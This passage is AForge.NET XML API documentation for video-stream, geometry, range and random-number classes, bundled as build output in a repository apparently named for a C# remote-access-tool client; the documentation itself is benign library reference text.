750 | Number of bytes the video source provided from the moment of the last
751 | access to the property.
752 |
753 |
754 |
755 |
756 |
757 | Request timeout value.
758 |
759 |
760 | The property sets timeout value in milliseconds for web requests.
761 | Default value is 10000 milliseconds.
762 |
763 |
764 |
765 |
766 | State of the video source.
767 |
768 |
769 | Current state of video source object - running or not.
770 |
771 |
772 |
773 |
774 | Force using of basic authentication when connecting to the video source.
775 |
776 |
777 | For some IP cameras (TrendNET IP cameras, for example) using standard .NET's authentication via credentials
778 | does not seem to be working (seems like camera does not request for authentication, but expects corresponding headers to be
779 | present on connection request). So this property allows to force basic authentication by adding required HTTP headers when
780 | request is sent.
781 |
782 | Default value is set to .
783 |
784 |
785 |
786 |
787 |
788 | Video related exception.
789 |
790 |
791 | The exception is thrown in the case of some video related issues, like
792 | failure of initializing codec, compression, etc.
793 |
794 |
795 |
796 |
797 | Initializes a new instance of the class.
798 |
799 |
800 | Exception's message.
801 |
802 |
803 |
804 |
805 | Delegate for new frame event handler.
806 |
807 |
808 | Sender object.
809 | Event arguments.
810 |
811 |
812 |
813 |
814 | Delegate for video source error event handler.
815 |
816 |
817 | Sender object.
818 | Event arguments.
819 |
820 |
821 |
822 |
823 | Delegate for playing finished event handler.
824 |
825 |
826 | Sender object.
827 | Reason of finishing video playing.
828 |
829 |
830 |
831 |
832 | Reason of finishing video playing.
833 |
834 |
835 | When video source class fire the event, they
836 | need to specify reason of finishing video playing. For example, it may be end of stream reached.
837 |
838 |
839 |
840 |
841 | Video playing has finished because it end was reached.
842 |
843 |
844 |
845 |
846 | Video playing has finished because it was stopped by user.
847 |
848 |
849 |
850 |
851 | Video playing has finished because the device was lost (unplugged).
852 |
853 |
854 |
855 |
856 | Video playing has finished because of some error happened the video source (camera, stream, file, etc.).
857 | A error reporting event usually is fired to provide error information.
858 |
859 |
860 |
861 |
862 | Arguments for new frame event from video source.
863 |
864 |
865 |
866 |
867 |
868 | Initializes a new instance of the class.
869 |
870 |
871 | New frame.
872 |
873 |
874 |
875 |
876 | New frame from video source.
877 |
878 |
879 |
880 |
881 |
882 | Arguments for video source error event from video source.
883 |
884 |
885 |
886 |
887 |
888 | Initializes a new instance of the class.
889 |
890 |
891 | Error description.
892 |
893 |
894 |
895 |
896 | Video source error description.
897 |
898 |
899 |
900 |
901 |
902 | JPEG video source.
903 |
904 |
905 | The video source constantly downloads JPEG files from the specified URL.
906 |
907 | Sample usage:
908 |
909 | // create JPEG video source
910 | JPEGStream stream = new JPEGStream( "some url" );
911 | // set NewFrame event handler
912 | stream.NewFrame += new NewFrameEventHandler( video_NewFrame );
913 | // start the video source
914 | stream.Start( );
915 | // ...
916 | // signal to stop
917 | stream.SignalToStop( );
918 | // ...
919 |
920 | private void video_NewFrame( object sender, NewFrameEventArgs eventArgs )
921 | {
922 | // get new frame
923 | Bitmap bitmap = eventArgs.Frame;
924 | // process the frame
925 | }
926 |
927 |
928 | Some cameras produce HTTP header, which does not conform strictly to
929 | standard, what leads to .NET exception. To avoid this exception the useUnsafeHeaderParsing
930 | configuration option of httpWebRequest should be set, what may be done using application
931 | configuration file.
932 |
933 | <configuration>
934 | <system.net>
935 | <settings>
936 | <httpWebRequest useUnsafeHeaderParsing="true" />
937 | </settings>
938 | </system.net>
939 | </configuration>
940 |
941 |
942 |
943 |
944 |
945 |
946 | Initializes a new instance of the class.
947 |
948 |
949 |
950 |
951 |
952 | Initializes a new instance of the class.
953 |
954 |
955 | URL, which provides JPEG files.
956 |
957 |
958 |
959 |
960 | Start video source.
961 |
962 |
963 | Starts video source and return execution to caller. Video source
964 | object creates background thread and notifies about new frames with the
965 | help of event.
966 |
967 | Video source is not specified.
968 |
969 |
970 |
971 |
972 | Signal video source to stop its work.
973 |
974 |
975 | Signals video source to stop its background thread, stop to
976 | provide new frames and free resources.
977 |
978 |
979 |
980 |
981 | Wait for video source has stopped.
982 |
983 |
984 | Waits for source stopping after it was signalled to stop using
985 | method.
986 |
987 |
988 |
989 |
990 | Stop video source.
991 |
992 |
993 | Stops video source aborting its thread.
994 |
995 | Since the method aborts background thread, its usage is highly not preferred
996 | and should be done only if there are no other options. The correct way of stopping camera
997 | is signaling it stop and then
998 | waiting for background thread's completion.
999 |
1000 |
1001 |
1002 |
1003 |
1004 | Free resource.
1005 |
1006 |
1007 |
1008 |
1009 |
1010 | New frame event.
1011 |
1012 |
1013 | Notifies clients about new available frame from video source.
1014 |
1015 | Since video source may have multiple clients, each client is responsible for
1016 | making a copy (cloning) of the passed video frame, because the video source disposes its
1017 | own original copy after notifying of clients.
1018 |
1019 |
1020 |
1021 |
1022 |
1023 | Video source error event.
1024 |
1025 |
1026 | This event is used to notify clients about any type of errors occurred in
1027 | video source object, for example internal exceptions.
1028 |
1029 |
1030 |
1031 |
1032 | Video playing finished event.
1033 |
1034 |
1035 | This event is used to notify clients that the video playing has finished.
1036 |
1037 |
1038 |
1039 |
1040 |
1041 | Use or not separate connection group.
1042 |
1043 |
1044 | The property indicates to open web request in separate connection group.
1045 |
1046 |
1047 |
1048 |
1049 | Use or not caching.
1050 |
1051 |
1052 | If the property is set to true, then a fake random parameter will be added
1053 | to URL to prevent caching. It's required for clients, who are behind proxy server.
1054 |
1055 |
1056 |
1057 |
1058 | Frame interval.
1059 |
1060 |
1061 | The property sets the interval in milliseconds betwen frames. If the property is
1062 | set to 100, then the desired frame rate will be 10 frames per second. Default value is 0 -
1063 | get new frames as fast as possible.
1064 |
1065 |
1066 |
1067 |
1068 | Video source.
1069 |
1070 |
1071 | URL, which provides JPEG files.
1072 |
1073 |
1074 |
1075 |
1076 | Login value.
1077 |
1078 |
1079 | Login required to access video source.
1080 |
1081 |
1082 |
1083 |
1084 | Password value.
1085 |
1086 |
1087 | Password required to access video source.
1088 |
1089 |
1090 |
1091 |
1092 | Gets or sets proxy information for the request.
1093 |
1094 |
1095 | The local computer or application config file may specify that a default
1096 | proxy to be used. If the Proxy property is specified, then the proxy settings from the Proxy
1097 | property overridea the local computer or application config file and the instance will use
1098 | the proxy settings specified. If no proxy is specified in a config file
1099 | and the Proxy property is unspecified, the request uses the proxy settings
1100 | inherited from Internet Explorer on the local computer. If there are no proxy settings
1101 | in Internet Explorer, the request is sent directly to the server.
1102 |
1103 |
1104 |
1105 |
1106 |
1107 | Received frames count.
1108 |
1109 |
1110 | Number of frames the video source provided from the moment of the last
1111 | access to the property.
1112 |
1113 |
1114 |
1115 |
1116 |
1117 | Received bytes count.
1118 |
1119 |
1120 | Number of bytes the video source provided from the moment of the last
1121 | access to the property.
1122 |
1123 |
1124 |
1125 |
1126 |
1127 | Request timeout value.
1128 |
1129 |
1130 | The property sets timeout value in milliseconds for web requests.
1131 |
1132 | Default value is set 10000 milliseconds.
1133 |
1134 |
1135 |
1136 |
1137 | State of the video source.
1138 |
1139 |
1140 | Current state of video source object - running or not.
1141 |
1142 |
1143 |
1144 |
1145 | Force using of basic authentication when connecting to the video source.
1146 |
1147 |
1148 | For some IP cameras (TrendNET IP cameras, for example) using standard .NET's authentication via credentials
1149 | does not seem to be working (seems like camera does not request for authentication, but expects corresponding headers to be
1150 | present on connection request). So this property allows to force basic authentication by adding required HTTP headers when
1151 | request is sent.
1152 |
1153 | Default value is set to .
1154 |
1155 |
1156 |
1157 |
1158 |
1159 | Some internal utilities for handling arrays.
1160 |
1161 |
1162 |
1163 |
1164 |
1165 | Check if the array contains needle at specified position.
1166 |
1167 |
1168 | Source array to check for needle.
1169 | Needle we are searching for.
1170 | Start index in source array.
1171 |
1172 | Returns true if the source array contains the needle at
1173 | the specified index. Otherwise it returns false.
1174 |
1175 |
1176 |
1177 |
1178 | Find subarray in the source array.
1179 |
1180 |
1181 | Source array to search for needle.
1182 | Needle we are searching for.
1183 | Start index in source array.
1184 | Number of bytes in source array, where the needle is searched for.
1185 |
1186 | Returns starting position of the needle if it was found or -1 otherwise.
1187 |
1188 |
1189 |
1190 |
1191 |
--------------------------------------------------------------------------------
/TutClient/bin/Debug/AForge.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Client/cb8d1611bc23d46ced677de73fdbe7f09725e8e4/TutClient/bin/Debug/AForge.dll
--------------------------------------------------------------------------------
/TutClient/bin/Debug/AForge.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | AForge
5 |
6 |
7 |
8 |
9 | Event arguments holding a buffer sent or received during some communication process.
10 |
11 |
12 |
13 |
14 | Initializes a new instance of the class.
15 |
16 |
17 | Message being transfered during communication process.
18 |
19 |
20 |
21 |
22 | Initializes a new instance of the class.
23 |
24 |
25 | Buffer containing the message being transferred during communication process.
26 | Starting index of the message within the buffer.
27 | Length of the message within the buffer.
28 |
29 |
30 |
31 |
32 | Get the transfered message.
33 |
34 |
35 | Returns copy of the transfered message.
36 |
37 |
38 |
39 |
40 | Get the transferred message as string.
41 |
42 |
43 | Returns string encoding the transferred message.
44 |
45 |
46 |
47 |
48 | Length of the transfered message.
49 |
50 |
51 |
52 |
53 | Structure for representing a pair of coordinates of integer type.
54 |
55 |
56 | The structure is used to store a pair of integer coordinates.
57 |
58 | Sample usage:
59 |
60 | // assigning coordinates in the constructor
61 | IntPoint p1 = new IntPoint( 10, 20 );
62 | // creating a point and assigning coordinates later
63 | IntPoint p2;
64 | p2.X = 30;
65 | p2.Y = 40;
66 | // calculating distance between two points
67 | float distance = p1.DistanceTo( p2 );
68 |
69 |
70 |
71 |
72 |
73 |
74 | X coordinate.
75 |
76 |
77 |
78 |
79 |
80 | Y coordinate.
81 |
82 |
83 |
84 |
85 |
86 | Initializes a new instance of the structure.
87 |
88 |
89 | X axis coordinate.
90 | Y axis coordinate.
91 |
92 |
93 |
94 |
95 | Calculate Euclidean distance between two points.
96 |
97 |
98 | Point to calculate distance to.
99 |
100 | Returns Euclidean distance between this point and
101 | points.
102 |
103 |
104 |
105 |
106 | Calculate squared Euclidean distance between two points.
107 |
108 |
109 | Point to calculate distance to.
110 |
111 | Returns squared Euclidean distance between this point and
112 | points.
113 |
114 |
115 |
116 |
117 | Addition operator - adds values of two points.
118 |
119 |
120 | First point for addition.
121 | Second point for addition.
122 |
123 | Returns new point which coordinates equal to sum of corresponding
124 | coordinates of specified points.
125 |
126 |
127 |
128 |
129 | Addition operator - adds values of two points.
130 |
131 |
132 | First point for addition.
133 | Second point for addition.
134 |
135 | Returns new point which coordinates equal to sum of corresponding
136 | coordinates of specified points.
137 |
138 |
139 |
140 |
141 | Subtraction operator - subtracts values of two points.
142 |
143 |
144 | Point to subtract from.
145 | Point to subtract.
146 |
147 | Returns new point which coordinates equal to difference of corresponding
148 | coordinates of specified points.
149 |
150 |
151 |
152 |
153 | Subtraction operator - subtracts values of two points.
154 |
155 |
156 | Point to subtract from.
157 | Point to subtract.
158 |
159 | Returns new point which coordinates equal to difference of corresponding
160 | coordinates of specified points.
161 |
162 |
163 |
164 |
165 | Addition operator - adds scalar to the specified point.
166 |
167 |
168 | Point to increase coordinates of.
169 | Value to add to coordinates of the specified point.
170 |
171 | Returns new point which coordinates equal to coordinates of
172 | the specified point increased by specified value.
173 |
174 |
175 |
176 |
177 | Addition operator - adds scalar to the specified point.
178 |
179 |
180 | Point to increase coordinates of.
181 | Value to add to coordinates of the specified point.
182 |
183 | Returns new point which coordinates equal to coordinates of
184 | the specified point increased by specified value.
185 |
186 |
187 |
188 |
189 | Subtraction operator - subtracts scalar from the specified point.
190 |
191 |
192 | Point to decrease coordinates of.
193 | Value to subtract from coordinates of the specified point.
194 |
195 | Returns new point which coordinates equal to coordinates of
196 | the specified point decreased by specified value.
197 |
198 |
199 |
200 |
201 | Subtraction operator - subtracts scalar from the specified point.
202 |
203 |
204 | Point to decrease coordinates of.
205 | Value to subtract from coordinates of the specified point.
206 |
207 | Returns new point which coordinates equal to coordinates of
208 | the specified point decreased by specified value.
209 |
210 |
211 |
212 |
213 | Multiplication operator - multiplies coordinates of the specified point by scalar value.
214 |
215 |
216 | Point to multiply coordinates of.
217 | Multiplication factor.
218 |
219 | Returns new point which coordinates equal to coordinates of
220 | the specified point multiplied by specified value.
221 |
222 |
223 |
224 |
225 | Multiplication operator - multiplies coordinates of the specified point by scalar value.
226 |
227 |
228 | Point to multiply coordinates of.
229 | Multiplication factor.
230 |
231 | Returns new point which coordinates equal to coordinates of
232 | the specified point multiplied by specified value.
233 |
234 |
235 |
236 |
237 | Division operator - divides coordinates of the specified point by scalar value.
238 |
239 |
240 | Point to divide coordinates of.
241 | Division factor.
242 |
243 | Returns new point which coordinates equal to coordinates of
244 | the specified point divided by specified value.
245 |
246 |
247 |
248 |
249 | Division operator - divides coordinates of the specified point by scalar value.
250 |
251 |
252 | Point to divide coordinates of.
253 | Division factor.
254 |
255 | Returns new point which coordinates equal to coordinates of
256 | the specified point divided by specified value.
257 |
258 |
259 |
260 |
261 | Equality operator - checks if two points have equal coordinates.
262 |
263 |
264 | First point to check.
265 | Second point to check.
266 |
267 | Returns if coordinates of specified
268 | points are equal.
269 |
270 |
271 |
272 |
273 | Inequality operator - checks if two points have different coordinates.
274 |
275 |
276 | First point to check.
277 | Second point to check.
278 |
279 | Returns if coordinates of specified
280 | points are not equal.
281 |
282 |
283 |
284 |
285 | Check if this instance of equal to the specified one.
286 |
287 |
288 | Another point to check equalty to.
289 |
290 | Return if objects are equal.
291 |
292 |
293 |
294 |
295 | Get hash code for this instance.
296 |
297 |
298 | Returns the hash code for this instance.
299 |
300 |
301 |
302 |
303 | Implicit conversion to .
304 |
305 |
306 | Integer point to convert to single precision point.
307 |
308 | Returns new single precision point which coordinates are implicitly converted
309 | to floats from coordinates of the specified integer point.
310 |
311 |
312 |
313 |
314 | Implicit conversion to .
315 |
316 |
317 | Integer point to convert to double precision point.
318 |
319 | Returns new double precision point which coordinates are implicitly converted
320 | to doubles from coordinates of the specified integer point.
321 |
322 |
323 |
324 |
325 | Get string representation of the class.
326 |
327 |
328 | Returns string, which contains values of the point in readable form.
329 |
330 |
331 |
332 |
333 | Calculate Euclidean norm of the vector comprised of the point's
334 | coordinates - distance from (0, 0) in other words.
335 |
336 |
337 | Returns point's distance from (0, 0) point.
338 |
339 |
340 |
341 |
342 | Evaluator of expressions written in reverse polish notation.
343 |
344 |
345 | The class evaluates expressions writen in reverse postfix polish notation.
346 |
347 | The list of supported functuins is:
348 |
349 | - Arithmetic functions: +, -, *, /;
350 | - sin - sine;
351 | - cos - cosine;
352 | - ln - natural logarithm;
353 | - exp - exponent;
354 | - sqrt - square root.
355 |
356 |
357 | Arguments for these functions could be as usual constants, written as numbers, as variables,
358 | writen as $<var_number> ($2, for example). The variable number is zero based index
359 | of variables array.
360 |
361 | Sample usage:
362 |
363 | // expression written in polish notation
364 | string expression = "2 $0 / 3 $1 * +";
365 | // variables for the expression
366 | double[] vars = new double[] { 3, 4 };
367 | // expression evaluation
368 | double result = PolishExpression.Evaluate( expression, vars );
369 |
370 |
371 |
372 |
373 |
374 |
375 | Evaluates specified expression.
376 |
377 |
378 | Expression written in postfix polish notation.
379 | Variables for the expression.
380 |
381 | Evaluated value of the expression.
382 |
383 | Unsupported function is used in the expression.
384 | Incorrect postfix polish expression.
385 |
386 |
387 |
388 |
389 | Represents a double range with minimum and maximum values.
390 |
391 |
392 |
393 | The class represents a double range with inclusive limits -
394 | both minimum and maximum values of the range are included into it.
395 | Mathematical notation of such range is [min, max].
396 |
397 | Sample usage:
398 |
399 | // create [0.25, 1.5] range
400 | DoubleRange range1 = new DoubleRange( 0.25, 1.5 );
401 | // create [1.00, 2.25] range
402 | DoubleRange range2 = new DoubleRange( 1.00, 2.25 );
403 | // check if values is inside of the first range
404 | if ( range1.IsInside( 0.75 ) )
405 | {
406 | // ...
407 | }
408 | // check if the second range is inside of the first range
409 | if ( range1.IsInside( range2 ) )
410 | {
411 | // ...
412 | }
413 | // check if two ranges overlap
414 | if ( range1.IsOverlapping( range2 ) )
415 | {
416 | // ...
417 | }
418 |
419 |
420 |
421 |
422 |
423 |
424 | Initializes a new instance of the class.
425 |
426 |
427 | Minimum value of the range.
428 | Maximum value of the range.
429 |
430 |
431 |
432 |
433 | Check if the specified value is inside of the range.
434 |
435 |
436 | Value to check.
437 |
438 | True if the specified value is inside of the range or
439 | false otherwise.
440 |
441 |
442 |
443 |
444 | Check if the specified range is inside of the range.
445 |
446 |
447 | Range to check.
448 |
449 | True if the specified range is inside of the range or
450 | false otherwise.
451 |
452 |
453 |
454 |
455 | Check if the specified range overlaps with the range.
456 |
457 |
458 | Range to check for overlapping.
459 |
460 | True if the specified range overlaps with the range or
461 | false otherwise.
462 |
463 |
464 |
465 |
466 | Convert the signle precision range to integer range.
467 |
468 |
469 | Specifies if inner integer range must be returned or outer range.
470 |
471 | Returns integer version of the range.
472 |
473 | If is set to , then the
474 | returned integer range will always fit inside of the current single precision range.
475 | If it is set to , then current single precision range will always
476 | fit into the returned integer range.
477 |
478 |
479 |
480 |
481 | Equality operator - checks if two ranges have equal min/max values.
482 |
483 |
484 | First range to check.
485 | Second range to check.
486 |
487 | Returns if min/max values of specified
488 | ranges are equal.
489 |
490 |
491 |
492 |
493 | Inequality operator - checks if two ranges have different min/max values.
494 |
495 |
496 | First range to check.
497 | Second range to check.
498 |
499 | Returns if min/max values of specified
500 | ranges are not equal.
501 |
502 |
503 |
504 |
505 | Check if this instance of equal to the specified one.
506 |
507 |
508 | Another range to check equalty to.
509 |
510 | Return if objects are equal.
511 |
512 |
513 |
514 |
515 | Get hash code for this instance.
516 |
517 |
518 | Returns the hash code for this instance.
519 |
520 |
521 |
522 |
523 | Get string representation of the class.
524 |
525 |
526 | Returns string, which contains min/max values of the range in readable form.
527 |
528 |
529 |
530 |
531 | Minimum value of the range.
532 |
533 |
534 | The property represents minimum value (left side limit) or the range -
535 | [min, max].
536 |
537 |
538 |
539 |
540 | Maximum value of the range.
541 |
542 |
543 | The property represents maximum value (right side limit) or the range -
544 | [min, max].
545 |
546 |
547 |
548 |
549 | Length of the range (deffirence between maximum and minimum values).
550 |
551 |
552 |
553 |
554 | A delegate which is used by events notifying abount sent/received message.
555 |
556 |
557 | Event sender.
558 | Event arguments containing details about the transferred message.
559 |
560 |
561 |
562 |
563 | Structure for representing a pair of coordinates of float type.
564 |
565 |
566 | The structure is used to store a pair of floating point
567 | coordinates with single precision.
568 |
569 | Sample usage:
570 |
571 | // assigning coordinates in the constructor
572 | Point p1 = new Point( 10, 20 );
573 | // creating a point and assigning coordinates later
574 | Point p2;
575 | p2.X = 30;
576 | p2.Y = 40;
577 | // calculating distance between two points
578 | float distance = p1.DistanceTo( p2 );
579 |
580 |
581 |
582 |
583 |
584 |
585 | X coordinate.
586 |
587 |
588 |
589 |
590 |
591 | Y coordinate.
592 |
593 |
594 |
595 |
596 |
597 | Initializes a new instance of the structure.
598 |
599 |
600 | X axis coordinate.
601 | Y axis coordinate.
602 |
603 |
604 |
605 |
606 | Calculate Euclidean distance between two points.
607 |
608 |
609 | Point to calculate distance to.
610 |
611 | Returns Euclidean distance between this point and
612 | points.
613 |
614 |
615 |
616 |
617 | Calculate squared Euclidean distance between two points.
618 |
619 |
620 | Point to calculate distance to.
621 |
622 | Returns squared Euclidean distance between this point and
623 | points.
624 |
625 |
626 |
627 |
628 | Addition operator - adds values of two points.
629 |
630 |
631 | First point for addition.
632 | Second point for addition.
633 |
634 | Returns new point which coordinates equal to sum of corresponding
635 | coordinates of specified points.
636 |
637 |
638 |
639 |
640 | Addition operator - adds values of two points.
641 |
642 |
643 | First point for addition.
644 | Second point for addition.
645 |
646 | Returns new point which coordinates equal to sum of corresponding
647 | coordinates of specified points.
648 |
649 |
650 |
651 |
652 | Subtraction operator - subtracts values of two points.
653 |
654 |
655 | Point to subtract from.
656 | Point to subtract.
657 |
658 | Returns new point which coordinates equal to difference of corresponding
659 | coordinates of specified points.
660 |
661 |
662 |
663 |
664 | Subtraction operator - subtracts values of two points.
665 |
666 |
667 | Point to subtract from.
668 | Point to subtract.
669 |
670 | Returns new point which coordinates equal to difference of corresponding
671 | coordinates of specified points.
672 |
673 |
674 |
675 |
676 | Addition operator - adds scalar to the specified point.
677 |
678 |
679 | Point to increase coordinates of.
680 | Value to add to coordinates of the specified point.
681 |
682 | Returns new point which coordinates equal to coordinates of
683 | the specified point increased by specified value.
684 |
685 |
686 |
687 |
688 | Addition operator - adds scalar to the specified point.
689 |
690 |
691 | Point to increase coordinates of.
692 | Value to add to coordinates of the specified point.
693 |
694 | Returns new point which coordinates equal to coordinates of
695 | the specified point increased by specified value.
696 |
697 |
698 |
699 |
700 | Subtraction operator - subtracts scalar from the specified point.
701 |
702 |
703 | Point to decrease coordinates of.
704 | Value to subtract from coordinates of the specified point.
705 |
706 | Returns new point which coordinates equal to coordinates of
707 | the specified point decreased by specified value.
708 |
709 |
710 |
711 |
712 | Subtraction operator - subtracts scalar from the specified point.
713 |
714 |
715 | Point to decrease coordinates of.
716 | Value to subtract from coordinates of the specified point.
717 |
718 | Returns new point which coordinates equal to coordinates of
719 | the specified point decreased by specified value.
720 |
721 |
722 |
723 |
724 | Multiplication operator - multiplies coordinates of the specified point by scalar value.
725 |
726 |
727 | Point to multiply coordinates of.
728 | Multiplication factor.
729 |
730 | Returns new point which coordinates equal to coordinates of
731 | the specified point multiplied by specified value.
732 |
733 |
734 |
735 |
736 | Multiplication operator - multiplies coordinates of the specified point by scalar value.
737 |
738 |
739 | Point to multiply coordinates of.
740 | Multiplication factor.
741 |
742 | Returns new point which coordinates equal to coordinates of
743 | the specified point multiplied by specified value.
744 |
745 |
746 |
747 |
748 | Division operator - divides coordinates of the specified point by scalar value.
749 |
750 |
751 | Point to divide coordinates of.
752 | Division factor.
753 |
754 | Returns new point which coordinates equal to coordinates of
755 | the specified point divided by specified value.
756 |
757 |
758 |
759 |
760 | Division operator - divides coordinates of the specified point by scalar value.
761 |
762 |
763 | Point to divide coordinates of.
764 | Division factor.
765 |
766 | Returns new point which coordinates equal to coordinates of
767 | the specified point divided by specified value.
768 |
769 |
770 |
771 |
772 | Equality operator - checks if two points have equal coordinates.
773 |
774 |
775 | First point to check.
776 | Second point to check.
777 |
778 | Returns if coordinates of specified
779 | points are equal.
780 |
781 |
782 |
783 |
784 | Inequality operator - checks if two points have different coordinates.
785 |
786 |
787 | First point to check.
788 | Second point to check.
789 |
790 | Returns if coordinates of specified
791 | points are not equal.
792 |
793 |
794 |
795 |
796 | Check if this instance of equal to the specified one.
797 |
798 |
799 | Another point to check equalty to.
800 |
801 | Return if objects are equal.
802 |
803 |
804 |
805 |
806 | Get hash code for this instance.
807 |
808 |
809 | Returns the hash code for this instance.
810 |
811 |
812 |
813 |
814 | Explicit conversion to .
815 |
816 |
817 | Single precision point to convert to integer point.
818 |
819 | Returns new integer point which coordinates are explicitly converted
820 | to integers from coordinates of the specified single precision point by
821 | casting float values to integers value.
822 |
823 |
824 |
825 |
826 | Implicit conversion to .
827 |
828 |
829 | Single precision point to convert to double precision point.
830 |
831 | Returns new double precision point which coordinates are implicitly converted
832 | to doubles from coordinates of the specified single precision point.
833 |
834 |
835 |
836 |
837 | Rounds the single precision point.
838 |
839 |
840 | Returns new integer point, which coordinates equal to whole numbers
841 | nearest to the corresponding coordinates of the single precision point.
842 |
843 |
844 |
845 |
846 | Get string representation of the class.
847 |
848 |
849 | Returns string, which contains values of the point in readable form.
850 |
851 |
852 |
853 |
854 | Calculate Euclidean norm of the vector comprised of the point's
855 | coordinates - distance from (0, 0) in other words.
856 |
857 |
858 | Returns point's distance from (0, 0) point.
859 |
860 |
861 |
862 |
863 | Represents an integer range with minimum and maximum values.
864 |
865 |
866 |
867 | The class represents an integer range with inclusive limits -
868 | both minimum and maximum values of the range are included into it.
869 | Mathematical notation of such range is [min, max].
870 |
871 | Sample usage:
872 |
873 | // create [1, 10] range
874 | IntRange range1 = new IntRange( 1, 10 );
875 | // create [5, 15] range
876 | IntRange range2 = new IntRange( 5, 15 );
877 | // check if values is inside of the first range
878 | if ( range1.IsInside( 7 ) )
879 | {
880 | // ...
881 | }
882 | // check if the second range is inside of the first range
883 | if ( range1.IsInside( range2 ) )
884 | {
885 | // ...
886 | }
887 | // check if two ranges overlap
888 | if ( range1.IsOverlapping( range2 ) )
889 | {
890 | // ...
891 | }
892 |
893 |
894 |
895 |
896 |
897 |
898 | Initializes a new instance of the structure.
899 |
900 |
901 | Minimum value of the range.
902 | Maximum value of the range.
903 |
904 |
905 |
906 |
907 | Check if the specified value is inside of the range.
908 |
909 |
910 | Value to check.
911 |
912 | True if the specified value is inside of the range or
913 | false otherwise.
914 |
915 |
916 |
917 |
918 | Check if the specified range is inside of the range.
919 |
920 |
921 | Range to check.
922 |
923 | True if the specified range is inside of the range or
924 | false otherwise.
925 |
926 |
927 |
928 |
929 | Check if the specified range overlaps with the range.
930 |
931 |
932 | Range to check for overlapping.
933 |
934 | True if the specified range overlaps with the range or
935 | false otherwise.
936 |
937 |
938 |
939 |
940 | Implicit conversion to .
941 |
942 |
943 | Integer range to convert to single precision range.
944 |
945 | Returns new single precision range which min/max values are implicitly converted
946 | to floats from min/max values of the specified integer range.
947 |
948 |
949 |
950 |
951 | Equality operator - checks if two ranges have equal min/max values.
952 |
953 |
954 | First range to check.
955 | Second range to check.
956 |
957 | Returns if min/max values of specified
958 | ranges are equal.
959 |
960 |
961 |
962 |
963 | Inequality operator - checks if two ranges have different min/max values.
964 |
965 |
966 | First range to check.
967 | Second range to check.
968 |
969 | Returns if min/max values of specified
970 | ranges are not equal.
971 |
972 |
973 |
974 |
975 | Check if this instance of equal to the specified one.
976 |
977 |
978 | Another range to check equalty to.
979 |
980 | Return if objects are equal.
981 |
982 |
983 |
984 |
985 | Get hash code for this instance.
986 |
987 |
988 | Returns the hash code for this instance.
989 |
990 |
991 |
992 |
993 | Get string representation of the class.
994 |
995 |
996 | Returns string, which contains min/max values of the range in readable form.
997 |
998 |
999 |
1000 |
1001 | Minimum value of the range.
1002 |
1003 |
1004 | The property represents minimum value (left side limit) or the range -
1005 | [min, max].
1006 |
1007 |
1008 |
1009 |
1010 | Maximum value of the range.
1011 |
1012 |
1013 | The property represents maximum value (right side limit) or the range -
1014 | [min, max].
1015 |
1016 |
1017 |
1018 |
1019 | Length of the range (deffirence between maximum and minimum values).
1020 |
1021 |
1022 |
1023 |
1024 | Thread safe version of the class.
1025 |
1026 |
1027 | The class inherits the and overrides
1028 | its random numbers generation methods providing thread safety by guarding call
1029 | to the base class with a lock. See documentation to for
1030 | additional information about the base class.
1031 |
1032 |
1033 |
1034 |
1035 | Initializes a new instance of the class.
1036 |
1037 |
1038 | See for more information.
1039 |
1040 |
1041 |
1042 |
1043 | Initializes a new instance of the class.
1044 |
1045 |
1046 | A number used to calculate a starting value for the pseudo-random number sequence.
1047 | If a negative number is specified, the absolute value of the number is used.
1048 |
1049 |
1050 | See for more information.
1051 |
1052 |
1053 |
1054 |
1055 | Returns a nonnegative random number.
1056 |
1057 |
1058 | Returns a 32-bit signed integer greater than or equal to zero and less than
1059 | .
1060 |
1061 | See for more information.
1062 |
1063 |
1064 |
1065 |
1066 | Returns a nonnegative random number less than the specified maximum.
1067 |
1068 |
1069 | The exclusive upper bound of the random number to be generated.
1070 | must be greater than or equal to zero.
1071 |
1072 | Returns a 32-bit signed integer greater than or equal to zero, and less than ;
1073 | that is, the range of return values ordinarily includes zero but not .
1074 |
1075 | See for more information.
1076 |
1077 |
1078 |
1079 |
1080 | Returns a random number within a specified range.
1081 |
1082 |
1083 | The inclusive lower bound of the random number returned.
1084 | The exclusive upper bound of the random number returned.
1085 | must be greater than or equal to .
1086 |
1087 | Returns a 32-bit signed integer greater than or equal to and less
1088 | than ; that is, the range of return values includes
1089 | but not .
1090 |
1091 | See for more information.
1092 |
1093 |
1094 |
1095 |
1096 | Fills the elements of a specified array of bytes with random numbers.
1097 |
1098 |
1099 | An array of bytes to contain random numbers.
1100 |
1101 | See for more information.
1102 |
1103 |
1104 |
1105 |
1106 | Returns a random number between 0.0 and 1.0.
1107 |
1108 |
1109 | Returns a double-precision floating point number greater than or equal to 0.0, and less than 1.0.
1110 |
1111 | See for more information.
1112 |
1113 |
1114 |
1115 |
1116 | Represents a range with minimum and maximum values, which are single precision numbers (floats).
1117 |
1118 |
1119 |
1120 | The class represents a single precision range with inclusive limits -
1121 | both minimum and maximum values of the range are included into it.
1122 | Mathematical notation of such range is [min, max].
1123 |
1124 | Sample usage:
1125 |
1126 | // create [0.25, 1.5] range
1127 | Range range1 = new Range( 0.25f, 1.5f );
1128 | // create [1.00, 2.25] range
1129 | Range range2 = new Range( 1.00f, 2.25f );
1130 | // check if values is inside of the first range
1131 | if ( range1.IsInside( 0.75f ) )
1132 | {
1133 | // ...
1134 | }
1135 | // check if the second range is inside of the first range
1136 | if ( range1.IsInside( range2 ) )
1137 | {
1138 | // ...
1139 | }
1140 | // check if two ranges overlap
1141 | if ( range1.IsOverlapping( range2 ) )
1142 | {
1143 | // ...
1144 | }
1145 |
1146 |
1147 |
1148 |
1149 |
1150 |
1151 | Initializes a new instance of the structure.
1152 |
1153 |
1154 | Minimum value of the range.
1155 | Maximum value of the range.
1156 |
1157 |
1158 |
1159 |
1160 | Check if the specified value is inside of the range.
1161 |
1162 |
1163 | Value to check.
1164 |
1165 | True if the specified value is inside of the range or
1166 | false otherwise.
1167 |
1168 |
1169 |
1170 |
1171 | Check if the specified range is inside of the range.
1172 |
1173 |
1174 | Range to check.
1175 |
1176 | True if the specified range is inside of the range or
1177 | false otherwise.
1178 |
1179 |
1180 |
1181 |
1182 | Check if the specified range overlaps with the range.
1183 |
1184 |
1185 | Range to check for overlapping.
1186 |
1187 | True if the specified range overlaps with the range or
1188 | false otherwise.
1189 |
1190 |
1191 |
1192 |
